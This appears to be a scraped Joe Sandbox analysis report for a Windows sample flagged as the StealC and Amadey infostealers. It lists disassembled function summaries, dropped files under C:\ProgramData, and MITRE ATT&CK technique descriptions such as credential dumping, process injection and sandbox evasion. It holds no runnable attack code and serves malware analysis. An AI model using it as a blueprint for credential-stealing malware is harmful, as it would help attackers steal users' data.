Instruction Fuzzy Hash: 53E030767006089BCA10EFA9DC4888677ACEE5D2703150525E691C3700D232F905CBA1

Function 6CAC4D10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6CAC4D57
PR_snprintf.NSS3(?,00000008,%d.%d,?,?), ref: 6CAC4DE6

Strings

%d.%d, xrefs: 6CAC4DDE

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: ErrorR_snprintf
String ID: %d.%d
API String ID: 2298970422-3954714993
Opcode ID: 3b7cb6b6ceb0b0d70a5e4a97d77eb79949ea37f5f0013107b20b3fea2290f9c3
Instruction ID: aa88a5af42ce8e4d3c1a38050046f262f0bdfd7bbe812f14f74234ed4419b64e
Opcode Fuzzy Hash: 3b7cb6b6ceb0b0d70a5e4a97d77eb79949ea37f5f0013107b20b3fea2290f9c3
Instruction Fuzzy Hash: EC3129B2E042586BEB10ABA09C05BFF776CEF44308F050469ED559B781EB309949CBE6

Function 6CA60F00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

PR_GetPageSize.NSS3(6CA60936,FFFFE8AE,?,6C9F16B7,00000000,?,6CA60936,00000000,?,6C9F204A), ref: 6CA60F1B

Part of subcall function 6CA61370: GetSystemInfo.KERNEL32(?,?,?,?,6CA60936,?,6CA60F20,6CA60936,FFFFE8AE,?,6C9F16B7,00000000,?,6CA60936,00000000), ref: 6CA6138F

PR_NewLogModule.NSS3(clock,6CA60936,FFFFE8AE,?,6C9F16B7,00000000,?,6CA60936,00000000,?,6C9F204A), ref: 6CA60F25

Part of subcall function 6CA61110: calloc.MOZGLUE(00000001,0000000C,?,?,?,?,?,?,?,?,?,?,6CA60936,00000001,00000040), ref: 6CA61130
Part of subcall function 6CA61110: strdup.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,6CA60936,00000001,00000040), ref: 6CA61142
Part of subcall function 6CA61110: PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES,?,?,?,?,?,?,?,?,?,?,?,?,?,6CA60936,00000001), ref: 6CA61167

Strings

clock, xrefs: 6CA60F20

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: InfoModulePageSecureSizeSystemcallocstrdup
String ID: clock
API String ID: 536403800-3195780754
Opcode ID: 26749307eaef9c830269ff24584272831029d56111f8e731aca3cceaa58858a5
Instruction ID: 09eea6b00f592f41ec0df4c9284ef5b237b843f403d606d07a6dd376222f1311
Opcode Fuzzy Hash: 26749307eaef9c830269ff24584272831029d56111f8e731aca3cceaa58858a5
Instruction Fuzzy Hash: 38D0123560418455C91266979C45BB6BAACC7C3279F104826E24D83D104A6564EFD66A

Function 6CAD0DB0 Relevance: 5.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

calloc.MOZGLUE ref: 6CAD0DF5
TlsGetValue.KERNEL32 ref: 6CAD0E2D
TlsGetValue.KERNEL32 ref: 6CAD0E58
TlsGetValue.KERNEL32 ref: 6CAD0E84

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Value$calloc
String ID:
API String ID: 3339632435-0
Opcode ID: 38f38df9a71cf481f9182c44edfbc25c221689be5571612f57102edad9691875
Instruction ID: e09deccc09f879d6634d0b5feb768e22429b124ca5e664663e4512cb94c058b1
Opcode Fuzzy Hash: 38f38df9a71cf481f9182c44edfbc25c221689be5571612f57102edad9691875
Instruction Fuzzy Hash: DD31C470A457868FDB00AF39C5842597BB4FF0A708F06466DD888C7A11EF34E5C5CB82

Function 6CA2A4E0 Relevance: 5.1, APIs: 4, Instructions: 75stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,6CA2A468,00000000), ref: 6CA2A4F9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,6CA2A468,00000000), ref: 6CA2A51B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CA2A468,?,6CA2A468,00000000), ref: 6CA2A545
memcpy.VCRUNTIME140(00000001,6CA2A468,00000001,?,?,?,6CA2A468,00000000), ref: 6CA2A57D

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: strlen$memcpy
String ID:
API String ID: 3396830738-0
Opcode ID: 600eb8a033a5ca9a43437b08be08586c367961074f3215d643a34829541b8b4a
Instruction ID: 8bb8441915626803fbde74b9c3df9ada987c64d4079ac363fecb8ff1cd0c11cb
Opcode Fuzzy Hash: 600eb8a033a5ca9a43437b08be08586c367961074f3215d643a34829541b8b4a
Instruction Fuzzy Hash: 0D110AB3D0136667DB0089B99C8169F779A9F55268F2C4234ED2487780F639DD4882E1

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\BGIJDGCA

C:\ProgramData\EBFBFBFIIJDAKECAKKJEHCFIJK

C:\ProgramData\HIJEGDBGDBFIJKECBAKF

C:\ProgramData\HJEHIJEBKEBFBFHIIDHI

C:\ProgramData\IDGIJEGHDAECAKECAFCA

C:\ProgramData\IIEHCFIDHIDGIDHJEHIDAECFHD

C:\ProgramData\JDAFBKEC

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

Windows Analysis Report
file.exe

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre